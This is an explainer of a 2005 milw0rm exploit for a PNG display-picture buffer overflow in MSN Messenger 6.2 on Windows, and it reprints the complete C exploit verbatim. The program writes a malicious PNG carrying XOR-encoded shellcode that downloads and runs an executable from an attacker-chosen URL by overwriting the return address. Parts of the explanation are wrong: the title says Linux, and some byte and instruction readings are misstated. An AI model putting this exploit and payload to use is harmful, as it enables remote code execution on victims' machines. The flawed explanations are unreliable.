MSN Messenger (Linux) - '.png' Image Buffer Overflow Explained

MSN Messenger (Linux) - '.png' Image Buffer Overflow Explained
What this paper is
This paper details a buffer overflow vulnerability in MSN Messenger (specifically version 6.2.0137) on Windows 2000 and Windows XP. The vulnerability is triggered when a specially crafted PNG image file is set as the user's display picture. The exploit provided in this paper generates such a PNG file that, when opened by the vulnerable MSN Messenger client, overwrites the program's execution flow to run arbitrary code. This code is designed to download and execute a file from a specified URL.
Simple technical breakdown
The core of the vulnerability lies in how MSN Messenger handles PNG image files when setting them as a display picture. The program likely reads image data into a buffer without properly checking the size of the data against the buffer's capacity.
The exploit works by:
- Creating a malicious PNG file: This file starts with a valid PNG header but contains a large amount of data that overflows a buffer within MSN Messenger.
- Overwriting the return address: The overflow is carefully crafted to overwrite the return address on the program's call stack. This return address is a pointer to where the program should continue execution after a function returns. By overwriting it with a specific address, the attacker can redirect execution to their own malicious code.
- Injecting shellcode: The malicious code (shellcode) is embedded within the overflowing data. This shellcode is designed to download a file from a URL provided by the attacker and then execute it.
- Triggering the vulnerability: The user must then open MSN Messenger and set this malicious PNG as their display picture. When the application processes the image, the buffer overflow occurs, and the injected shellcode is executed.
Complete code and payload walkthrough
The provided C code acts as an exploit generator. It constructs a malicious PNG file that, when processed by a vulnerable MSN Messenger client, triggers a buffer overflow and executes shellcode.
Let's break down the code and payload:
1. Header Comments and Includes:
/*
*
* Remember g++ k /str0ke
*
*/
/*
*
* MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
* Bug discoveried by Core Security Technologies (www.coresecurity.com)
* Exploit coded By ATmaCA
* Copyright ©2002-2005 AtmacaSoft Inc. All Rights Reserved.
* Web: http://www.atmacasoft.com
* E-Mail: atmaca@icqmail.com
* Credit to kozan and delikon
* Now compiles under Linux thanks to dgr
* Usage:exploit <OutputPath> <Url>
*
*/
/*
*
* Tested with MSN Messenger 6.2.0137
* This vulnerability can be exploited on Windows 2000 (all service packs)
* and Windows XP (all service packs) that run vulnerable
* clients of MSN Messenger.
*
*/
/*
*
* After creating vuln png image, open
* MSN Messenger and select it as your display picture in
* "Tools->Change Display Picture".
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef __BORLANDC__
#include <mem.h>
#include <conio.h>
#endif- Purpose: These comments provide context about the exploit's origin, authors, target, and usage. They also mention that the code was adapted to compile on Linux by "dgr." The
#ifdef __BORLANDC__block suggests compatibility with the Borland C++ compiler, which was common on Windows. - Practical Purpose: Informational, guides usage, and specifies target versions.
2. Constants and Data Definitions:
#define NOP 0x90
char png_header[] =
"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52"
"\x00\x00\x00\x40\x00\x00\x00\x40\x08\x03\x00\x00\x00\x9D\xB7\x81"
"\xEC\x00\x00\x01\xB9\x74\x52\x4E\x53";
char pngeof[] = "\x90\x90\x90\x59\xE8\x47\xFE\xFF\xFF";NOP(0x90): This is the "No Operation" instruction. It's often used as padding in exploits to fill space or to create a "NOP sled," which helps ensure the shellcode is executed even if the exact jump address is slightly off.png_header: This byte array represents the beginning of a valid PNG file. It includes the magic bytes (\x89PNG\r\n\x1a\n) and theIHDR(Image Header) chunk. TheIHDRchunk contains image dimensions and color type. Here, it's set to0x40x40(64x64 pixels) with an 8-bit color depth.\x89\x50\x4E\x47\x0D\x0A\x1A\x0A: PNG signature.\x00\x00\x00\x0D: Length of the IHDR chunk (13 bytes).\x49\x48\x44\x52: Chunk type "IHDR".\x00\x00\x00\x40: Image width (64 pixels).\x00\x00\x00\x40: Image height (64 pixels).\x08: Bit depth (8 bits per channel).\x03: Color type (RGB with alpha).\x00\x00\x00: Compression method, filter method, interlace method.\x9D\xB7\x81\xEC: CRC checksum for the IHDR chunk.\x00\x00\x01\xB9: This part is unusual for a standard IHDR and might be part of the overflow data or a custom chunk.\x74\x52\x4E\x53: Likely more overflow data.
pngeof: This byte array contains NOPs followed by\x59\xE8\x47\xFE\xFF\xFF.\x90\x90\x90: NOPs for padding.\x59:pop ecx.\xE8\x47\xFE\xFF\xFF:call 0x005E0547. This is a relative jump instruction. The target address0x005E0547is likely aret(return) instruction in the vulnerable MSN Messenger application. Thiscallinstruction effectively redirects execution to that address.
- Practical Purpose:
png_headerstarts the malicious file as a valid PNG.pngeofcontains the final jump to the return address and padding.NOPs are used for alignment and to create a NOP sled.
3. Shellcode Definition:
/* Generic win32 http download shellcode
xored with 0x1d by delikon (http://delikon.de/) */
char shellcode[] = "\xEB"
"\x10\x58\x31\xC9\x66\x81\xE9\x22\xFF\x80\x30\x1D\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"
"\xFF\xFF\xF4\xD1\x1D\x1D\x1D\x42\xF5\x4B\x1D\x1D\x1D\x94\xDE\x4D\x75\x93\x53\x13"
"\xF1\xF5\x7D\x1D\x1D\x1D\x2C\xD4\x7B\xA4\x72\x73\x4C\x75\x68\x6F\x71\x70\x49\xE2"
"\xCD\x4D\x75\x2B\x07\x32\x6D\xF5\x5B\x1D\x1D\x1D\x2C\xD4\x4C\x4C\x90\x2A\x4B\x90"
"\x6A\x15\x4B\x4C\xE2\xCD\x4E\x75\x85\xE3\x97\x13\xF5\x30\x1D\x1D\x1D\x4C\x4A\xE2"
"\xCD\x2C\xD4\x54\xFF\xE3\x4E\x75\x63\xC5\xFF\x6E\xF5\x04\x1D\x1D\x1D\xE2\xCD\x48"
"\x4B\x79\xBC\x2D\x1D\x1D\x1D\x96\x5D\x11\x96\x6D\x01\xB0\x96\x75\x15\x94\xF5\x43"
"\x40\xDE\x4E\x48\x4B\x4A\x96\x71\x39\x05\x96\x58\x21\x96\x49\x18\x65\x1C\xF7\x96"
"\x57\x05\x96\x47\x3D\x1C\xF6\xFE\x28\x54\x96\x29\x96\x1C\xF3\x2C\xE2\xE1\x2C\xDD"
"\xB1\x25\xFD\x69\x1A\xDC\xD2\x10\x1C\xDA\xF6\xEF\x26\x61\x39\x09\x68\xFC\x96\x47"
"\x39\x1C\xF6\x7B\x96\x11\x56\x96\x47\x01\x1C\xF6\x96\x19\x96\x1C\xF5\xF4\x1F\x1D"
"\x1D\x1D\x2C\xDD\x94\xF7\x42\x43\x40\x46\xDE\xF5\x32\xE2\xE2\xE2\x70\x75\x75\x33"
"\x78\x65\x78\x1D";- Purpose: This is the core payload. It's a small piece of machine code designed to run on Windows. The comment indicates it's a "Generic win32 http download shellcode" that has been XOR-encrypted with
0x1d. The shellcode's primary function is to:- Decrypt itself: It likely contains code to XOR its own bytes with
0x1dto reveal the actual instructions. - Construct a URL: It takes the URL provided as an argument (which is appended to the shellcode in the exploit) and prepares it for use.
- Download a file: It uses Windows API functions (like
URLDownloadToFileAor similar) to download a file from the constructed URL. - Execute the downloaded file: After downloading, it uses functions like
CreateProcessto run the downloaded executable.
- Decrypt itself: It likely contains code to XOR its own bytes with
- XOR Encryption: The
Sifrelefunction (explained later) is used to decrypt this shellcode. The\x1dkey is used for XORing. This is a common technique to evade simple signature-based detection. - Practical Purpose: This is the malicious payload that will execute on the target system. Its goal is to fetch and run a secondary payload from a remote server.
4. Global Variables and Helper Function:
FILE *di;
int i = 0;
short int weblength;
char *web;
char *pointer = NULL;
char *newshellcode;
/*xor cryptor*/
char *Sifrele(char *Name1)
{
char *Name=Name1;
char xor=0x1d;
int Size=strlen(Name);
for(i=0;i<Size;i++)
Name[i]=Name[i]^xor;
return Name;
}di: A file pointer used for writing to the output PNG file.i: A loop counter.weblength: A short integer to store the length of the URL.web: A pointer to the URL string passed as a command-line argument.pointer: A pointer used to find a specific location within theshellcode.newshellcode: A pointer to a dynamically allocated buffer that will hold the final, combined shellcode (original shellcode + encrypted URL).Sifrele(char *Name1): This function takes a string (Name1) and performs an in-place XOR encryption/decryption using the key0x1d. It iterates through each character of the string and XORs it with the key.- Practical Purpose:
Sifreleis crucial for encrypting the target URL before appending it to the shellcode. This makes the URL less obvious and potentially helps bypass network intrusion detection systems that might look for plain URLs.
5. Main Function - Exploit Generation Logic:
int main(int argc, char *argv[])
{
if (argc < 3)
{
printf("MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit\n");
printf("Bug discoveried by Core Security Technologies (www.coresecurity.com)\n");
printf("Exploit coded By ATmaCA\n");
printf("Copyright ©2002-2005 AtmacaSoft Inc. All Rights Reserved.\n");
printf("Web: http://www.atmacasoft.com\n");
printf("E-Mail: atmaca@icqmail.com\n");
printf("Credit to kozan and delikon\n\n");
printf("\tUsage:exploit <OutputPath> <Url>\n");
printf("\tExample:exploit vuln.png http://www.atmacasoft.com/exp/msg.exe\n");
return 0;
}
web = argv[2];
if( (di=fopen(argv[1],"wb")) == NULL )
{
printf("Error opening file!\n");
return 0;
}
for(i=0;i<sizeof(png_header)-1;i++)
fputc(png_header[i],di);
/*stuff in a couple of NOPs*/
for(i=0;i<99;i++)
fputc(NOP,di);
weblength=(short int)0xff22;
pointer=strstr(shellcode,"\x22\xff");
weblength-=strlen(web)+1;
memcpy(pointer,&weblength,2);
newshellcode = new char[sizeof(shellcode)+strlen(web)+1];
strcpy(newshellcode,shellcode);
strcat(newshellcode,Sifrele(web));
strcat(newshellcode,"\x1d");
//shell code
for(i=0;i<strlen(newshellcode);i++)
fputc(newshellcode[i],di);
for(i=0;i<(83-strlen(web));i++) //NOPs
fputc(NOP,di);
/*Overwriting the return address (EIP)*/
/*0x005E0547 - ret */
fputc(0x47,di);
fputc(0x05,di);
fputc(0x5e,di);
fputc(0x00,di);
for(i=0;i<sizeof(pngeof)-1;i++)
fputc(pngeof[i],di);
printf("Vulnarable png file %s has been generated!\n",argv[1]);
fclose(di);
return 1;
}- Argument Handling:
- Checks if at least two arguments (
OutputPathandUrl) are provided. If not, it prints usage instructions and exits. argv[1]is the output file path for the malicious PNG.argv[2]is the URL from which the payload will be downloaded.
- Checks if at least two arguments (
- File Opening: Opens the specified output file in binary write mode (
"wb"). If it fails, it prints an error and exits. - Writing PNG Header: Writes the
png_headerbytes to the output file. - NOP Padding (Initial): Writes 99 NOP bytes (
0x90) after the header. This is part of the buffer overflow data and helps to ensure the shellcode is reached. - Shellcode Preparation and URL Integration:
weblength=(short int)0xff22;: Initializesweblengthwith a value that seems to be related to a placeholder or a calculated offset.0xff22is a large negative number when interpreted as a signed short.pointer=strstr(shellcode,"\x22\xff");: Searches for the byte sequence\x22\xffwithin theshellcode. This sequence is likely a placeholder for the length of the URL.weblength-=strlen(web)+1;: Adjustsweblength. It subtracts the length of the URL string plus one for the null terminator. This calculation is a bit unusual; it seems to be trying to calculate a negative offset or a value that, when placed atpointer, will cause a specific jump.memcpy(pointer,&weblength,2);: Copies the calculatedweblength(2 bytes) into theshellcodeat the location found bystrstr. This is a critical step where the exploit modifies the shellcode to account for the URL's length. The\x22\xffplaceholder is replaced by the calculatedweblength.newshellcode = new char[sizeof(shellcode)+strlen(web)+1];: Dynamically allocates memory for the final shellcode. The size is the original shellcode size plus the length of the URL and a null terminator.strcpy(newshellcode,shellcode);: Copies the modifiedshellcodeinto the new buffer.strcat(newshellcode,Sifrele(web));: Encrypts the provided URL usingSifreleand appends it tonewshellcode.strcat(newshellcode,"\x1d");: Appends the XOR key0x1dat the end. This might be a delimiter or part of the shellcode's decryption logic.
- Writing Modified Shellcode: Writes the
newshellcode(which now contains the original shellcode, the encrypted URL, and the XOR key) to the output file. - NOP Padding (Final): Writes more NOPs. The number of NOPs is calculated as
83 - strlen(web). This padding is crucial for the buffer overflow to reach the overwritten return address. The exact number is calculated to fill the remaining space in the overflow buffer up to the point where the return address is located. - Overwriting Return Address (EIP):
fputc(0x47,di); fputc(0x05,di); fputc(0x5e,di); fputc(0x00,di);: Writes the bytes0x47,0x05,0x5e,0x00to the file. This sequence represents the little-endian address0x005E0547. As noted in the comment, this is likely the address of aret(return) instruction within the vulnerable MSN Messenger application. This is the address where execution will jump after the overflow.
- Writing EOF Marker: Writes the
pngeofbytes to the file. This includes more NOPs and thecallinstruction that jumps to the overwritten return address. - Success Message: Prints a confirmation message indicating the PNG file has been generated.
- File Closing: Closes the output file.
- Return: Returns 1 to indicate successful execution.
Mapping of Code Fragments to Practical Purpose:
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
/*
*
* Remember g++ k /str0ke
*
*/
/*
*
* MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit
* Bug discoveried by Core Security Technologies (www.coresecurity.com)
* Exploit coded By ATmaCA
* Copyright ©2002-2005 AtmacaSoft Inc. All Rights Reserved.
* Web: http://www.atmacasoft.com
* E-Mail: atmaca@icqmail.com
* Credit to kozan and delikon
* Now compiles under Linux thanks to dgr
* Usage:exploit <OutputPath> <Url>
*
*/
/*
*
* Tested with MSN Messenger 6.2.0137
* This vulnerability can be exploited on Windows 2000 (all service packs)
* and Windows XP (all service packs) that run vulnerable
* clients of MSN Messenger.
*
*/
/*
*
* After creating vuln png image, open
* MSN Messenger and select it as your display picture in
* "Tools->Change Display Picture".
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef __BORLANDC__
#include <mem.h>
#include <conio.h>
#endif
#define NOP 0x90
char png_header[] =
"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52"
"\x00\x00\x00\x40\x00\x00\x00\x40\x08\x03\x00\x00\x00\x9D\xB7\x81"
"\xEC\x00\x00\x01\xB9\x74\x52\x4E\x53";
char pngeof[] = "\x90\x90\x90\x59\xE8\x47\xFE\xFF\xFF";
/* Generic win32 http download shellcode
xored with 0x1d by delikon (http://delikon.de/) */
char shellcode[] = "\xEB"
"\x10\x58\x31\xC9\x66\x81\xE9\x22\xFF\x80\x30\x1D\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"
"\xFF\xFF\xF4\xD1\x1D\x1D\x1D\x42\xF5\x4B\x1D\x1D\x1D\x94\xDE\x4D\x75\x93\x53\x13"
"\xF1\xF5\x7D\x1D\x1D\x1D\x2C\xD4\x7B\xA4\x72\x73\x4C\x75\x68\x6F\x71\x70\x49\xE2"
"\xCD\x4D\x75\x2B\x07\x32\x6D\xF5\x5B\x1D\x1D\x1D\x2C\xD4\x4C\x4C\x90\x2A\x4B\x90"
"\x6A\x15\x4B\x4C\xE2\xCD\x4E\x75\x85\xE3\x97\x13\xF5\x30\x1D\x1D\x1D\x4C\x4A\xE2"
"\xCD\x2C\xD4\x54\xFF\xE3\x4E\x75\x63\xC5\xFF\x6E\xF5\x04\x1D\x1D\x1D\xE2\xCD\x48"
"\x4B\x79\xBC\x2D\x1D\x1D\x1D\x96\x5D\x11\x96\x6D\x01\xB0\x96\x75\x15\x94\xF5\x43"
"\x40\xDE\x4E\x48\x4B\x4A\x96\x71\x39\x05\x96\x58\x21\x96\x49\x18\x65\x1C\xF7\x96"
"\x57\x05\x96\x47\x3D\x1C\xF6\xFE\x28\x54\x96\x29\x96\x1C\xF3\x2C\xE2\xE1\x2C\xDD"
"\xB1\x25\xFD\x69\x1A\xDC\xD2\x10\x1C\xDA\xF6\xEF\x26\x61\x39\x09\x68\xFC\x96\x47"
"\x39\x1C\xF6\x7B\x96\x11\x56\x96\x47\x01\x1C\xF6\x96\x19\x96\x1C\xF5\xF4\x1F\x1D"
"\x1D\x1D\x2C\xDD\x94\xF7\x42\x43\x40\x46\xDE\xF5\x32\xE2\xE2\xE2\x70\x75\x75\x33"
"\x78\x65\x78\x1D";
FILE *di;
int i = 0;
short int weblength;
char *web;
char *pointer = NULL;
char *newshellcode;
/*xor cryptor*/
char *Sifrele(char *Name1)
{
char *Name=Name1;
char xor=0x1d;
int Size=strlen(Name);
for(i=0;i<Size;i++)
Name[i]=Name[i]^xor;
return Name;
}
int main(int argc, char *argv[])
{
if (argc < 3)
{
printf("MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit\n");
printf("Bug discoveried by Core Security Technologies (www.coresecurity.com)\n");
printf("Exploit coded By ATmaCA\n");
printf("Copyright ©2002-2005 AtmacaSoft Inc. All Rights Reserved.\n");
printf("Web: http://www.atmacasoft.com\n");
printf("E-Mail: atmaca@icqmail.com\n");
printf("Credit to kozan and delikon\n\n");
printf("\tUsage:exploit <OutputPath> <Url>\n");
printf("\tExample:exploit vuln.png http://www.atmacasoft.com/exp/msg.exe\n");
return 0;
}
web = argv[2];
if( (di=fopen(argv[1],"wb")) == NULL )
{
printf("Error opening file!\n");
return 0;
}
for(i=0;i<sizeof(png_header)-1;i++)
fputc(png_header[i],di);
/*stuff in a couple of NOPs*/
for(i=0;i<99;i++)
fputc(NOP,di);
weblength=(short int)0xff22;
pointer=strstr(shellcode,"\x22\xff");
weblength-=strlen(web)+1;
memcpy(pointer,&weblength,2);
newshellcode = new char[sizeof(shellcode)+strlen(web)+1];
strcpy(newshellcode,shellcode);
strcat(newshellcode,Sifrele(web));
strcat(newshellcode,"\x1d");
//shell code
for(i=0;i<strlen(newshellcode);i++)
fputc(newshellcode[i],di);
for(i=0;i<(83-strlen(web));i++) //NOPs
fputc(NOP,di);
/*Overwriting the return address (EIP)*/
/*0x005E0547 - ret */
fputc(0x47,di);
fputc(0x05,di);
fputc(0x5e,di);
fputc(0x00,di);
for(i=0;i<sizeof(pngeof)-1;i++)
fputc(pngeof[i],di);
printf("Vulnarable png file %s has been generated!\n",argv[1]);
fclose(di);
return 1;
}
// milw0rm.com [2005-02-09]